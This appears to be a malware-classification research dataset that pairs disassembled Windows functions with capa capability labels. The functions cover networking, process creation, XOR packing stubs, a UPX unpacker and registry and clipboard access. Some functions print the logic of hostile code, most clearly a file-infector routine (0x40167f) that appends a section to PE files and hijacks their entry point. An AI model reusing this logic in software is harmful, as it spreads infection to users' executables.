joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d2d0
Capabilities:
Connect socket
Resolve dns

Disassembly:
push edi
push esi
xor eax, eax
push ebx
sub esp, 0x40
mov edi, dword [esp + 0x58]
mov ebx, dword [esp + 0x54]
mov esi, dword [esp + 0x5c]
test edi, edi
je 0x40d32c
mov dword [esp + eax + 0x20], 0
add eax, 4
cmp eax, 0x20
jb 0x40d2e8
mov eax, dword [esp + 0x50]
mov dword [esp + 4], 0
mov dword [esp], edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], eax
lea eax, [esp + 0x18]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x20]
mov dword [esp + 8], eax
call sub.cygwin1.dll_getaddrinfo
test eax, eax
jne 0x40d431
xor eax, eax
mov dword [esp + eax + 0x20], 0
add eax, 4
cmp eax, 0x20
jb 0x40d32e
mov eax, dword [esp + 0x50]
mov dword [esp + 4], 0
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], eax
lea eax, [esp + 0x1c]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x20]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x60]
mov dword [esp], eax
call sub.cygwin1.dll_getaddrinfo
test eax, eax
jne 0x40d431
mov eax, dword [esp + 0x1c]
mov dword [esp + 4], ebx
mov dword [esp + 8], 0
mov eax, dword [eax + 4]
mov dword [esp], eax
call sub.cygwin1.dll_socket
test eax, eax
mov ebx, eax
js 0x40d452
test edi, edi
je 0x40d3d5
test esi, esi
mov ecx, dword [esp + 0x18]
jne 0x40d440
mov eax, dword [ecx + 0x18]
mov edx, dword [ecx + 0x10]
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 8], edx
call sub.cygwin1.dll_bind
test eax, eax
js 0x40d464
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call sub.cygwin1.dll_freeaddrinfo
mov ecx, dword [esp + 0x1c]
movzx eax, word [esp + 0x64]
xchg ah, al
mov edx, dword [ecx + 0x18]
mov word [edx + 2], ax
mov eax, dword [ecx + 0x10]
mov dword [esp + 4], edx
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.cygwin1.dll_connect
test eax, eax
js 0x40d413
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call sub.cygwin1.dll_freeaddrinfo
mov eax, ebx
add esp, 0x40
pop ebx
pop esi
pop edi
ret
call sub.cygwin1.dll___errno
cmp dword [eax], 0x77
je 0x40d3fe
mov dword [esp], ebx
call sub.cygwin1.dll_close
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call sub.cygwin1.dll_freeaddrinfo
add esp, 0x40
mov eax, 0xffffffff
pop ebx
pop esi
pop edi
ret
mov edx, dword [ecx + 0x18]
mov eax, esi
xchg ah, al
mov word [edx + 2], ax
mov eax, edx
jmp 0x40d3ae
test edi, edi
je 0x40d425
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call sub.cygwin1.dll_freeaddrinfo
jmp 0x40d425
mov dword [esp], ebx
call sub.cygwin1.dll_close
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call sub.cygwin1.dll_freeaddrinfo
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call sub.cygwin1.dll_freeaddrinfo
mov eax, 0xffffffff
jmp 0x40d40c
Function at 0x40d490
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5c
mov eax, dword [esp + 0x7c]
lea edi, [esp + 0x2a]
mov dword [esp + 8], 0x416944
mov dword [esp + 4], 6
mov esi, dword [esp + 0x74]
mov dword [esp], edi
mov ebx, dword [esp + 0x78]
mov dword [esp + 0xc], eax
call sub.cygwin1.dll_snprintf
lea ecx, [esp + 0x30]
xor eax, eax
mov dword [ecx + eax], 0
add eax, 4
cmp eax, 0x20
jb 0x40d4c9
mov ebp, dword [esp + 0x70]
test ebp, ebp
sete al
test ebx, ebx
mov ebp, eax
jne 0x40d5d4
test al, al
je 0x40d5d4
mov dword [esp + 0x34], 0x17
lea eax, [esp + 0x20]
mov dword [esp + 8], ecx
mov dword [esp + 4], edi
mov dword [esp], ebx
mov dword [esp + 0x38], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x30], 1
call sub.cygwin1.dll_getaddrinfo
test eax, eax
jne 0x40d644
mov eax, dword [esp + 0x20]
mov dword [esp + 8], 0
mov dword [esp + 4], esi
mov eax, dword [eax + 4]
mov dword [esp], eax
call sub.cygwin1.dll_socket
test eax, eax
mov ebx, eax
js 0x40d658
lea edi, [esp + 0x24]
mov dword [esp + 0x10], 4
mov dword [esp + 8], 4
mov dword [esp + 4], 0xffff
mov dword [esp], eax
mov dword [esp + 0xc], edi
mov dword [esp + 0x24], 1
call sub.cygwin1.dll_setsockopt
test eax, eax
js 0x40d650
mov eax, dword [esp + 0x20]
cmp dword [eax + 4], 0x17
jne 0x40d59b
cmp dword [esp + 0x70], 0x17
je 0x40d5e1
mov edx, ebp
test dl, dl
jne 0x40d5e1
mov edx, dword [eax + 0x10]
mov dword [esp + 8], edx
mov eax, dword [eax + 0x18]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.cygwin1.dll_bind
test eax, eax
js 0x40d650
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sub.cygwin1.dll_freeaddrinfo
cmp esi, 1
je 0x40d621
add esp, 0x5c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x70]
mov dword [esp + 0x34], eax
jmp 0x40d4fb
mov edx, dword [esp + 0x70]
xor eax, eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 0x29
mov dword [esp], ebx
test edx, edx
setne al
mov dword [esp + 0x24], eax
call sub.cygwin1.dll_setsockopt
test eax, eax
js 0x40d650
mov eax, dword [esp + 0x20]
jmp 0x40d59b
mov dword [esp + 4], 5
mov dword [esp], ebx
call sub.cygwin1.dll_listen
test eax, eax
jns 0x40d5ca
mov dword [esp], ebx
mov ebx, 0xffffffff
call sub.cygwin1.dll_close
jmp 0x40d5ca
mov ebx, 0xffffffff
jmp 0x40d5ca
mov dword [esp], ebx
call sub.cygwin1.dll_close
mov eax, dword [esp + 0x20]
mov ebx, 0xffffffff
mov dword [esp], eax
call sub.cygwin1.dll_freeaddrinfo
jmp 0x40d5ca

Function at 0x40da20
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0xac
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], pe_nt_image_headers32
mov dword [esp + 8], eax
lea eax, [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [esp + 0xb0]
mov dword [esp], eax
call sub.cygwin1.dll_getsockname
test eax, eax
js 0x40da60
movzx eax, word [esp + 0x20]
add esp, 0xac
ret
mov eax, 0xffffffff
jmp 0x40da56
Function at 0x40492d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xac
mov eax, dword [0x42d070]
xor eax, esp
mov dword [esp + 0xa8], eax
and dword [esp + 0x88], 0
xor eax, eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
push 0x208
mov dword [esp + 0x9c], 7
mov word [esp + 0x88], ax
call fcn.00408bd9
mov esi, eax
mov dword [esp], 0x104
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x5c
push esi
call fcn.0040ae24
pop ecx
pop ecx
test eax, eax
jne 0x4049a5
push esi
call fcn.00408be2
xor edi, edi
jmp 0x4049b7
add eax, 2
push eax
call fcn.0040ee38
pop ecx
push esi
mov edi, eax
call fcn.00408be2
pop ecx
push edi
call fcn.00407216
pop ecx
push eax
push edi
lea ecx, [esp + 0x8c]
call fcn.00407537
lea ecx, [esp + 0x6c]
call fcn.004044ff
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0xa0]
call fcn.00405eea
pop ecx
or esi, 0xffffffff
lea ecx, [esp + 0x6c]
push esi
xor edi, edi
push edi
push eax
call fcn.00405a1e
push edi
push 1
lea ecx, [esp + 0xa4]
call fcn.0040767a
push 0x40
lea eax, [esp + 0x28]
push edi
push eax
call fcn.0040b890
mov ax, word [ebp + 0x14]
lea ecx, [esp + 0x1c]
add esp, 0xc
mov word [esp + 0x50], ax
xor edx, edx
mov dword [esp + 0x20], 0x44
inc edx
lea eax, [esp + 0x6c]
cmp dword [esp + 0x80], 8
xorps xmm0, xmm0
push ecx
cmovae eax, dword [esp + 0x70]
lea ecx, [esp + 0x24]
push ecx
push edi
push edi
push edi
push edx
push edi
push edi
push ebx
push eax
movups xmmword [esp + 0x38], xmm0
mov dword [esp + 0x74], edx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x404a83
push dword [esp + 0x18]
call dword [sym.imp.USER32.dll_AllowSetForegroundWindow]
push 0x1388
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
mov esi, edi
push edi
push 1
lea ecx, [esp + 0x74]
call fcn.0040767a
push edi
push 1
lea ecx, [esp + 0x8c]
call fcn.0040767a
mov ecx, dword [esp + 0xb4]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040880d
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40bfc6
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 8], 0
jne 0x40bfd9
xor eax, eax
jmp 0x40c07c
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc], ecx
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
jmp 0x40c018

Function at 0x40c246
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 8], 0x42e0cc
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
push eax
push 0
call fcn.0040c196
add esp, 8
mov dword [ebp - 0x40], eax
push 0
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x10]
push ecx
adc byte [edx - 0x18], dl
sbb eax, 0x83ffffff
les ecx, [eax]
Function at 0x41c500
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x427850], 0
jne 0x41c581
cmp dword [0x427870], 0
jne 0x41c530
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x427870], eax
test eax, eax
jne 0x41c530
push str.GetEnvironmentStrings_failed
call fcn.0041bd1c
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x427870]
jmp 0x41c544
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c53c
lea edi, [ebp + 1]
push edi
call fcn.004161a8
pop ecx
mov ebx, eax
mov dword [0x427854], ebx
test ebx, ebx
jne 0x41c56e
xor eax, eax
jmp 0x41c644
push edi
mov edx, dword [0x427870]
push edx
push ebx
call fcn.00416754
add esp, 0xc
jmp 0x41c5a1
xor esi, esi
mov ebx, dword [0x427850]
jmp 0x41c59b
push eax
call fcn.004168a4
pop ecx
test eax, eax
jne 0x41c597
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c58b
lea ebx, [esi + 4]
push 4
mov dword [0x427858], ebx
inc ebx
push ebx
call fcn.00415c80
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x41c5c4
xor eax, eax
jmp 0x41c644
cmp dword [0x427850], 0
jne 0x41c5f5
xor esi, esi
mov ebx, dword [0x427854]
mov eax, dword [esp]
mov ebp, eax
jmp 0x41c5e6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c5dc
jmp 0x41c626
xor esi, esi
mov ebx, dword [0x427850]
mov eax, dword [esp]
mov edi, eax
jmp 0x41c620
push eax
call fcn.004168a4
pop ecx
test eax, eax
je 0x41c615
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x41c619
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c604
mov eax, dword [0x427850]
test eax, eax
je 0x41c636
push eax
call fcn.004161b8
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x427850], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
mov ecx, 0x3f1954d8
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x2c914a96
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x5a8d6dbf
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x75b248f6
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x508d50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x103000]
push edi
jmp 0x508d6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x508d71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x508d60
mov eax, 1
add ebx, ebx
jne 0x508d83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x508d78
jne 0x508d94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x508d78
xor ecx, ecx
sub eax, 3
jb 0x508da8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x508e1a
mov ebp, eax
add ebx, ebx
jne 0x508db3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x508dc0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x508de4
inc ecx
add ebx, ebx
jne 0x508dd0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x508dc5
jne 0x508de1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x508dc5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x508e04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x508df5
jmp 0x508d66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x508e04
add edi, ecx
jmp 0x508d66
pop esi
mov edi, esi
mov ecx, 0x6600
jmp 0x508e55
mov al, byte [edi]
inc edi
cmp al, 0x80
jb 0x508e35
cmp al, 0x8f
ja 0x508e35
cmp byte [edi - 2], 0xf
je 0x508e3b
sub al, 0xe8
cmp al, 1
ja 0x508e5f
cmp ecx, 4
jb 0x508e64
mov eax, dword [edi]
sub al, 1
jne 0x508e5f
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
sub ecx, 4
stosd dword es:[edi], eax
sub ecx, 1
jb 0x508e64
mov al, byte [edi]
inc edi
jmp 0x508e35
sub ecx, 1
jae 0x508e24
lea edi, [esi + 0x106000]
mov eax, dword [edi]
or eax, eax
je 0x508eb5
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1c3fa4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1c405c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x508e6a
mov ecx, edi
jns 0x508e99
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1c4064]
or eax, eax
je 0x508eaf
mov dword [ebx], eax
add ebx, 4
jmp 0x508e87
call dword [esi + 0x1c4060]
mov ebp, dword [esi + 0x1c4068]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x508ee9
sub esp, 0xffffff80
jmp 0x4034a5
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x3d4e0e20
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
nop
mov ecx, 0x4e204b0f
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4010c1
Capabilities:
Parse pe header

Disassembly:
call 0x401005
pop ebx
sub ebx, 0x404005
call 0x4010c1
call fcn.004010ff
call fcn.00401448
lea esi, [ebx + 0x405657]
push 0x104
push esi
push 0
mov eax, 0x761214b1
call eax
lea edi, [ebx + 0x4055a1]
push 0x32
push edi
mov eax, 0x7613b66c
call eax
add eax, 0x10
mov dword [ebx + 0x4055e1], eax
lea eax, [ebx + 0x40575b]
push eax
push edi
mov eax, 0x76142b7a
call eax
push esi
push edi
mov eax, 0x76123e8e
call eax
or eax, eax
je 0x40107d
call fcn.00401ff5
call fcn.00402528
call fcn.00402560
push dword [ebx + 0x40564f]
ret
lea eax, [ebx + 0x405565]
push eax
push 0
push 0
mov eax, 0x76124c6b
call eax
lea eax, [ebx + 0x405059]
push 0
push 0
push ebx
push eax
push 0
push 0
mov eax, 0x761234d5
call eax
lea eax, [ebx + 0x404486]
push 0
push 0
push ebx
push eax
push 0
push 0
call dword [ebx + 0x4040a0]
call fcn.00401808
mov edi, dword [esp + 4]
and edi, 0xffff0000
cmp word [edi], 0x5a4d
jne 0x4010e1
mov esi, edi
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
jne 0x4010e1
jmp 0x4010f8
sub edi, 0x10000
cmp edi, 0x70000000
jae 0x4010f6
mov edi, 0xbff70000
jmp 0x4010f8
jmp 0x4010cb
mov dword [ebx + 0x405653], edi
ret
Function at 0x40167f
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
pushal
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
mov eax, 0x761253c6
call eax
cmp eax, 0xffffffff
je 0x401803
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 4]
mov eax, 0x76125506
call eax
or eax, eax
je 0x4017fa
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 6
push dword [ebp - 8]
mov eax, 0x761218f1
call eax
or eax, eax
je 0x4017f1
mov dword [ebp - 0xc], eax
mov esi, eax
cmp word [esi], 0x5a4d
je 0x4016f8
jmp 0x4017e7
cmp word [esi + 0x18], 0x40
je 0x401704
jmp 0x4017e7
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
je 0x401714
jmp 0x4017e7
cmp word [esi + 0x5c], 2
je 0x401720
jmp 0x4017e7
cmp word [esi + 0x1a], 0x815
jne 0x40172d
jmp 0x4017e7
mov eax, dword [esi + 0x28]
add eax, dword [esi + 0x34]
mov dword [ebx + 0x40564f], eax
movzx eax, word [esi + 6]
mov ecx, 0x28
mul ecx
lea edi, [esi]
sub edi, dword [ebp - 0xc]
add eax, edi
add eax, 0x18
movzx edi, word [esi + 0x14]
add eax, edi
mov edi, eax
add edi, dword [ebp - 0xc]
add eax, 0x28
cmp eax, dword [esi + 0x54]
jbe 0x401766
jmp 0x4017e7
inc word [esi + 6]
mov dword [edi], 0x736a78
push dword [esi + 0x50]
pop dword [edi + 0xc]
mov eax, 0x1a54
mov dword [edi + 8], eax
mov ecx, dword [esi + 0x3c]
div ecx
inc eax
mul ecx
mov dword [edi + 0x10], eax
lea eax, [edi - 0x14]
mov eax, dword [eax]
lea ecx, [edi - 0x18]
mov ecx, dword [ecx]
add eax, ecx
mov dword [edi + 0x14], eax
mov dword [edi + 0x24], 0xe0000020
mov eax, dword [edi + 8]
mov ecx, dword [esi + 0x38]
div ecx
inc eax
mul ecx
add eax, dword [esi + 0x50]
mov dword [esi + 0x50], eax
mov eax, dword [edi + 0xc]
mov dword [esi + 0x28], eax
mov word [esi + 0x1a], 0x815
push 0
push 0
push dword [edi + 0x14]
push dword [ebp - 4]
mov eax, 0x761217d1
call eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [edi + 0x10]
lea eax, [ebx + 0x404000]
push eax
push dword [ebp - 4]
mov eax, 0x76121282
call eax
push dword [ebp - 0xc]
mov eax, 0x76121826
call eax
push dword [ebp - 8]
call dword [ebx + 0x405592]
push dword [ebp - 4]
call dword [ebx + 0x405592]
popal
leave
ret 4
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x2c207db4
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x2bbb1021
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x405229
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov eax, 0x409948
call fcn.004095d0
push esi
push dword [ecx + 0x20]
xor esi, esi
mov dword [ebp - 4], esi
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, esi
jne 0x40524f
push esi
push esi
push 0x4040f4
jmp 0x405260
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
jne 0x405267
push esi
push esi
push 0x4040d8
call sub.MFC42.DLL_AfxMessageBox
jmp 0x4052cf
mov eax, dword [ebp + 8]
push ebx
push edi
mov eax, dword [eax - 8]
inc eax
push eax
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edi, dword [ebp + 8]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
pop edi
pop ebx
test eax, eax
jne 0x4052c9
push eax
push eax
push 0x4040b8
call sub.MFC42.DLL_AfxMessageBox
call dword [sym.imp.USER32.dll_CloseClipboard]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004092cc
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x406752
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp + 0xc]
push esi
push eax
push 1
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4067ab
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x104
push eax
lea eax, [ebp - 0x104]
push eax
push esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret